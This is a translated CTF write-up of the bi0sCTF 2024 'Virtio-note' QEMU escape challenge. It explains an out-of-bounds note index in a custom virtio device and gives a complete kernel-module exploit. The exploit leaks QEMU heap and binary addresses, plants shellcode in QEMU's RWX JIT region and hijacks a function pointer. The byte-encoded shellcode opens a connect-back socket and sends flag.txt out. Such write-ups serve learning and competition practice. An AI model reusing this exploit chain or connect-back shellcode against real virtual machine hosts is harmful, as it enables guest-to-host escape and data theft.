—由gpt-4-turbo译
Virtio-note
这是一个来自bi0sCTF 2024的pwn挑战。
这是一个qemu逃逸挑战(我最喜欢的类型),而且是一个非常不错的挑战。
我在这个挑战中首次取得突破,并且在48小时后,仍只有4个解决方案,因此我们可以合理地说这不是很容易的挑战。。
1 – 挑战内容
挑战的作者(k1R4),给我们提供了一个带有内置virtio驱动和调试符号的 qemu
二进制文件,该virtio驱动的源代码,一些笔记,以及在VM中使用的Linux内核源代码的存档(内核6.7.2)。
我不打算详细介绍virtio驱动在qemu中是什么,它是一种对资源消耗较少的硬件仿真驱动,应该比完全仿真的设备更快。
驱动被划分为后端,这是在主机上运行的qemu源代码中的virtio驱动,以及前端,这是在客户VM内核中运行并与后端通信的virtio驱动。
你可以从qemu文档中了解更多关于virtio后端的信息:https://www.qemu.org/docs/master/devel/virtio-backends.html
挑战的作者提供了他用来编写驱动的github仓库的链接:https://github.com/matthias-prangl/virtio-mini。
我个人写了我的版本,阅读了qemu和内核的源代码。这足够了。
所以我们需要编写一个内核模块,在客户VM中运行,与自定义virtio后端驱动进行通信。
驱动并不大,大多数对我们有趣的功能都是在源文件 virtio-note.c
中找到的。
#include "qemu/osdep.h"
#include "hw/hw.h"
#include "hw/virtio/virtio.h"
#include "hw/virtio/virtio-note.h"
#include "qemu/iov.h"
#include "qemu/error-report.h"
#include "standard-headers/linux/virtio_ids.h"
#include "sysemu/runstate.h"
static uint64_t virtio_note_get_features(VirtIODevice *vdev, uint64_t f, Error **errp)
{
return f;
}
static void virtio_note_set_status(VirtIODevice *vdev, uint8_t status)
{
if (!vdev->vm_running) {
return;
}
vdev->status = status;
}
static void virtio_note_handle_req(VirtIODevice *vdev, VirtQueue *vq) {
VirtIONote *vnote = VIRTIO_NOTE(vdev);
VirtQueueElement *vqe = 0;
req_t *req = 0;
while(!virtio_queue_ready(vq)) {
return;
}
if (!runstate_check(RUN_STATE_RUNNING)) {
return;
}
vqe = virtqueue_pop(vq, sizeof(VirtQueueElement));
if(!vqe) goto end;
if(vqe->out_sg->iov_len != sizeof(req_t)) goto end;
req = calloc(1, sizeof(req_t));
if(!req) goto end;
if(iov_to_buf(vqe->out_sg, vqe->out_num, 0, req, vqe->out_sg->iov_len) != sizeof(req_t)) goto end;
if(!vnote->notes[req->idx])
{
virtio_error(vdev, "Corrupted note encountered");
goto end;
}
switch(req->op)
{
case READ:
cpu_physical_memory_write(req->addr, vnote->notes[req->idx], NOTE_SZ);
break;
case WRITE:
cpu_physical_memory_read(req->addr, vnote->notes[req->idx], NOTE_SZ);
break;
default:
goto end;
}
virtqueue_push(vq, vqe, vqe->out_sg->iov_len);
virtio_notify(vdev, vq);
end:
g_free(vqe);
free(req);
return;
}
static void virtio_note_device_realize(DeviceState *dev, Error **errp) {
VirtIODevice *vdev = VIRTIO_DEVICE(dev);
VirtIONote *vnote = VIRTIO_NOTE(dev);
virtio_init(vdev, VIRTIO_ID_NOTE, 0);
vnote->vnq = virtio_add_queue(vdev, 4, virtio_note_handle_req);
for(int i = 0; i < N_NOTES; i++)
{
vnote->notes[i] = calloc(NOTE_SZ, 1);
if(!vnote->notes[i])
{
virtio_error(vdev, "Unable to initialize notes");
return;
}
}
}
static void virtio_note_device_unrealize(DeviceState *dev) {
VirtIODevice *vdev = VIRTIO_DEVICE(dev);
VirtIONote *vnote = VIRTIO_NOTE(dev);
for(int i = 0; i < N_NOTES; i++)
{
free(vnote->notes[i]);
vnote->notes[i] = NULL;
}
virtio_cleanup(vdev);
}
static void virtio_note_class_init(ObjectClass *klass, void *data) {
DeviceClass *dc = DEVICE_CLASS(klass);
VirtioDeviceClass *vdc = VIRTIO_DEVICE_CLASS(klass);
set_bit(DEVICE_CATEGORY_MISC, dc->categories);
vdc->realize = virtio_note_device_realize;
vdc->unrealize = virtio_note_device_unrealize;
vdc->get_features = virtio_note_get_features;
vdc->set_status = virtio_note_set_status;
}
static const TypeInfo virtio_note_info = {
.name = TYPE_VIRTIO_NOTE,
.parent = TYPE_VIRTIO_DEVICE,
.instance_size = sizeof(VirtIONote),
.class_init = virtio_note_class_init,
};
static void virtio_register_types(void) {
type_register_static(&virtio_note_info);
}
type_init(virtio_register_types);
所以让我们快速分析一下这个驱动程序做了什么:
在 virtio_note_device_realize()
函数中,这个函数在驱动初始化时被调用,你可以看到它注册了一个名为 virtio_note_handle_req
的函数来处理请求,这个函数将通过请求队列与我们通信:
vnote->vnq = virtio_add_queue(vdev, 4, virtio_note_handle_req);
然后它使用 calloc()
在堆上分配了 16
个 0x40
字节长的笔记,它们的地址记录在结构 VirtIONote
中,看起来是这样:
typedef struct VirtIONote {
VirtIODevice parent_obj;
VirtQueue *vnq;
char *notes[N_NOTES]; // N_NOTES是16
} VirtIONote;
我们可以通过向队列推送请求来与驱动程序通信,它会使用注册的 virtio_note_handle_req
函数处理请求,请求格式在 virtio-note.h
中定义如下:
typedef struct req_t {
unsigned int idx;
hwaddr addr;
operation op;
} req_t;
这可以是一个READ请求或一个WRITE请求,取决于我们是想读取一个笔记还是写入一个笔记。我们还必须指示一个笔记索引和一个物理地址,数据将从该地址读取或写入(取决于在 operation
中定义的方向)。读取和写入操作为64字节长,完整的 笔记大小。
2 – 漏洞在哪里?
好问题,如果你看一下请求处理函数,你会发现一件事情:
switch(req->op)
{
case READ:
cpu_physical_memory_write(req->addr, vnote->notes[req->idx], NOTE_SZ);
break;
case WRITE:
cpu_physical_memory_read(req->addr, vnote->notes[req->idx], NOTE_SZ);
break;
default:
goto end;
}
根据请求的操作,从请求的索引 req->idx
读取或写入笔记,但没有任何地方检查请求的索引是否大于16,这是默认的笔记数量。
所以我们有一个越界访问 VirtIONote
表的笔记,这很好。。
3 – 如何利用它?
好的,让我们在处理函数 virtio_note_handle_req
处设置一个断点,检查在表之后堆上有什么,看看我们如何利用OOB访问。
你可以看到首先是16个条目的 vnotes->notes[16]
,指向也在堆上分配的16个笔记。
在索引19(黄色)处,你可以看到一个指针,它指向堆上的索引30。所以如果我们使用索引19,我们可以读取或写入从地址0x5555576df4a0(偏移位置在30)开始的64字节区域,这个区域也是黄色的。
我们能做的是在这64字节区域中写入一个地址,例如在偏移量32处(其中包含字符串”e-device>”)。然后通过读取或写入索引32,我们可以在我们希望的位置写入和读取64字节。
因此最终,我们将拥有一个完全受控的 READ/WRITEPrimitive
!足以pwn qemu。
4 – 那么计划是什么?
计划是:
-
我们泄漏一个堆地址,我们将使用索引26来做这个,它指向一些靠近我们的各种堆地址。
-
我们泄漏属于qemu二进制的地址(
qobject_input_type_null
)来计算qemu二进制映射基础,这个地址在索引34 -
现在我们知道了qemu映射基础,我们将泄漏
tcg_qemu_tb_exec
变量在qemu .bss中,它指向qemu用来生成jit代码的RWX区域。理想的写入shellcode的地方,不是吗? -
我们将搜索堆上
virtio_note_handle_req
函数指针的地址,该函数指针属于在堆上分配的驱动结构,并将在我们发送命令到驱动程序时被调用。 -
将我们的shellcode复制到RWX区域,我们将在该区域的末尾写入它,以免在中间被qemu覆写。
-
用我们shellcode在RWX区域的地址覆写在堆上找到的
virtio_note_handle_req
。 -
向virtio驱动发送任何命令,那将执行我们的shellcode。
我们将使用一个连接回给定IP和端口的shellcode,并将在socket上发送文件 flag.txt
的内容,这样我们就能得到我们的flag了。
5 – 利用代码
我没有时间清理利用代码,或者更干净地重写它。事先道歉🤷
该漏洞在一个需要编译的内核模块中,需要使用insmod加载到VM中。它将使qemu执行shellcode…你必须将shellcode替换为你的…(我留给你作为练习…)
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/virtio.h>
#include <linux/virtio_config.h>
#include <uapi/linux/virtio_ids.h>
#include <linux/scatterlist.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("nobodyisnobody");
MODULE_DESCRIPTION("VirtIO Note Driver");
#define VIRTIO_ID_NOTE 42
#define READ 0
#define WRITE 1
// connect back shellcode, open flag.txt and send it on socket
unsigned char shellc[] = {0x48, 0x83, 0xec, 0x78, 0x6a, 0x29, 0x58, 0x99, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0xf, 0x5, 0x89, 0xc5, 0x97, 0xb0, 0x2a, 0x48, 0xb9, 0xfe, 0xff, 0xcf, 0x35, 0xfa, 0x0, 0x93, 0x3f, 0x48, 0xf7, 0xd9, 0x51, 0x54, 0x5e, 0xb2, 0x10, 0xf, 0x5, 0x48, 0x8d, 0x3d, 0x18, 0x0, 0x0, 0x0, 0x31, 0xf6, 0x6a, 0x2, 0x58, 0xf, 0x5, 0x89, 0xef, 0x89, 0xc6, 0x31, 0xd2, 0x6a, 0x78, 0x41, 0x5a, 0x6a, 0x28, 0x58, 0xf, 0x5, 0xeb, 0xfe, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74, 0x0};
typedef struct req_t {
unsigned int idx;
phys_addr_t addr;
int op;
} req_t;
struct virtio_note_info {
struct virtio_device *vdev;
struct virtqueue *vq;
};
static void send_request(struct virtio_note_info *note_info, req_t *request_buff)
{
unsigned int len;
struct scatterlist sg;
// Prepare scatter-gather list and add the buffer
sg_init_one(&sg, request_buff, sizeof(req_t));
if (virtqueue_add_outbuf(note_info->vq, &sg, 1, request_buff, GFP_KERNEL) < 0) {
printk(KERN_ERR "VirtIO Note: Error adding buffern");
return;
}
virtqueue_kick(note_info->vq);
// Wait for the buffer to be used by the device
while (virtqueue_get_buf(note_info->vq, &len) == NULL)
cpu_relax();
}
static int virtio_note_probe(struct virtio_device *vdev)
{
struct virtio_note_info *note_info;
req_t *request_buff;
char *data;
char *data2;
uint64_t qemu_base, rwx_base;
uint64_t heap_addr, target, offset, shellcode_offset;
note_info = kmalloc(sizeof(struct virtio_note_info), GFP_KERNEL);
if (!note_info)
return -ENOMEM;
note_info->vdev = vdev;
note_info->vq = virtio_find_single_vq(vdev, NULL, "note-queue");
if (IS_ERR(note_info->vq)) {
kfree(note_info);
return PTR_ERR(note_info->vq);
}
// Allocate and prepare your request buffer
request_buff = kmalloc(sizeof(req_t), GFP_KERNEL);
if (!request_buff) {
kfree(note_info);
return -ENOMEM;
}
data = kmalloc(0x40, GFP_KERNEL);
data2 = kmalloc(0x40, GFP_KERNEL);
// leak heap address
request_buff->idx = 26; // Example index
request_buff->addr = virt_to_phys(data); // Example address
request_buff->op = READ; // Example operation
send_request(note_info, request_buff);
heap_addr = *(uint64_t *)(data+0x10);
printk(KERN_DEBUG "1st heap addr leaked: 0x%llxn", heap_addr);
// leak a qemu address to calculate qemu base
request_buff->idx = 19; // Example index
request_buff->addr = virt_to_phys(data); // Example address
request_buff->op = READ; // Example operation
send_request(note_info, request_buff);
qemu_base = *(uint64_t *)(data+0x20) - 0x86c800;
printk(KERN_DEBUG "qemu binary base leaked: 0x%llxn", qemu_base);
/* leak tcg_qemu_tb_exec value in qemu .bss to get RWX zone address*/
*(uint64_t *)(data+0x10) = (qemu_base+0x1cffb80);
// Prepare a WRITE request
request_buff->idx = 19; // Example index
request_buff->addr = virt_to_phys(data); // Example address
request_buff->op = WRITE; // Example operation
send_request(note_info, request_buff);
// leak rwx zone address
request_buff->idx = 32; // Example index
request_buff->addr = virt_to_phys(data2); // Example address
request_buff->op = READ; // Example operation
send_request(note_info, request_buff);
rwx_base = *(uint64_t *)data2;
printk(KERN_DEBUG "rwx base leaked: 0x%llxn", rwx_base);
/* search for function virtio_note_handle_req on heap */
target = qemu_base + 0x69f0d0;
offset = 0;
while (1)
{
*(uint64_t *)(data+0x10) = (heap_addr + offset);
// Prepare a WRITE request
request_buff->idx = 19; // Example index
request_buff->addr = virt_to_phys(data); // Example address
request_buff->op = WRITE; // Example operation
send_request(note_info, request_buff);
// read second heap addr
request_buff->idx = 32; // Example index
request_buff->addr = virt_to_phys(data2); // Example address
request_buff->op = READ; // Example operation
send_request(note_info, request_buff);
if (*(uint64_t *)data2 == target)
break;
offset += 8;
}
printk(KERN_DEBUG "target found at: 0x%llxn", heap_addr+offset);
/* write our shellcode in rwx zone */
shellcode_offset = 0x3ffe000;
// rwx zone to copy shellcode
*(uint64_t *)(data+0x10) = (rwx_base+shellcode_offset);
// Prepare a WRITE request
request_buff->idx = 19; // Example index
request_buff->addr = virt_to_phys(data); // Example address
request_buff->op = WRITE; // Example operation
send_request(note_info, request_buff);
memcpy(data2,shellc,64);
// Example initialization of request
request_buff->idx = 32; // Example index
request_buff->addr = virt_to_phys(data2); // Example address
request_buff->op = WRITE; // Example operation
send_request(note_info, request_buff);
// rwx zone to copy shellcode
*(uint64_t *)(data+0x10) = (rwx_base+shellcode_offset+0x40);
// Prepare a WRITE request
request_buff->idx = 19; // Example index
request_buff->addr = virt_to_phys(data); // Example address
request_buff->op = WRITE; // Example operation
send_request(note_info, request_buff);
memcpy(data2,&shellc[64],sizeof(shellc)-64);
// Example initialization of request
request_buff->idx = 32; // Example index
request_buff->addr = virt_to_phys(data2); // Example address
request_buff->op = WRITE; // Example operation
send_request(note_info, request_buff);
printk(KERN_DEBUG "shellcode copied at: 0x%llxn", rwx_base+shellcode_offset);
/* overwrite virtio_note_handle_req on heap with our shellcode address */
*(uint64_t *)(data+0x10) = (heap_addr + offset);
// Prepare a WRITE request
request_buff->idx = 19; // Example index
request_buff->addr = virt_to_phys(data); // Example address
request_buff->op = WRITE; // Example operation
send_request(note_info, request_buff);
// modify function ptr
// read data
request_buff->idx = 32; // Example index
request_buff->addr = virt_to_phys(data2); // Example address
request_buff->op = READ; // Example operation
send_request(note_info, request_buff);
*(uint64_t *)data2 = (rwx_base+shellcode_offset);
// write data back
request_buff->idx = 32; // Example index
request_buff->addr = virt_to_phys(data2); // Example address
request_buff->op = WRITE; // Example operation
send_request(note_info, request_buff);
printk(KERN_DEBUG "executing shellcode...n");
// This one should get us code exec
request_buff->idx = 19; // Example index
request_buff->addr = virt_to_phys(data); // Example address
request_buff->op = READ; // Example operation
send_request(note_info, request_buff);
kfree(data);
kfree(request_buff);
return 0;
}
static void virtio_note_remove(struct virtio_device *vdev)
{
printk(KERN_INFO "VirtIO Note: Device removedn");
// Perform any necessary cleanup
}
static struct virtio_device_id id_table[] = {
{ VIRTIO_ID_NOTE, VIRTIO_DEV_ANY_ID },
{ 0 },
};
static struct virtio_driver virtio_note_driver = {
.driver.name = KBUILD_MODNAME,
.driver.owner = THIS_MODULE,
.id_table = id_table,
.probe = virtio_note_probe,
.remove = virtio_note_remove,
};
static int __init virtio_note_init(void)
{
return register_virtio_driver(&virtio_note_driver);
}
static void __exit virtio_note_exit(void)
{
unregister_virtio_driver(&virtio_note_driver);
}
module_init(virtio_note_init);
module_exit(virtio_note_exit);
要编译它,只需解包挑战作者提供的源代码或内核,按照挑战readme中的说明配置它。
然后你可以创建一个简单的Makefile(假设利用模块命名为 mod.c
)
obj-m += mod.o
KDIR := ./linux-6.7.2/
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) M=$(PWD) clean
然后进行make,它将编译 mod.ko
内核模块,准备在客户VM中加载。
这就是全部…!!!
原文始发于微信公众号(3072):bi0sCTF.2024 Virtio-note (译)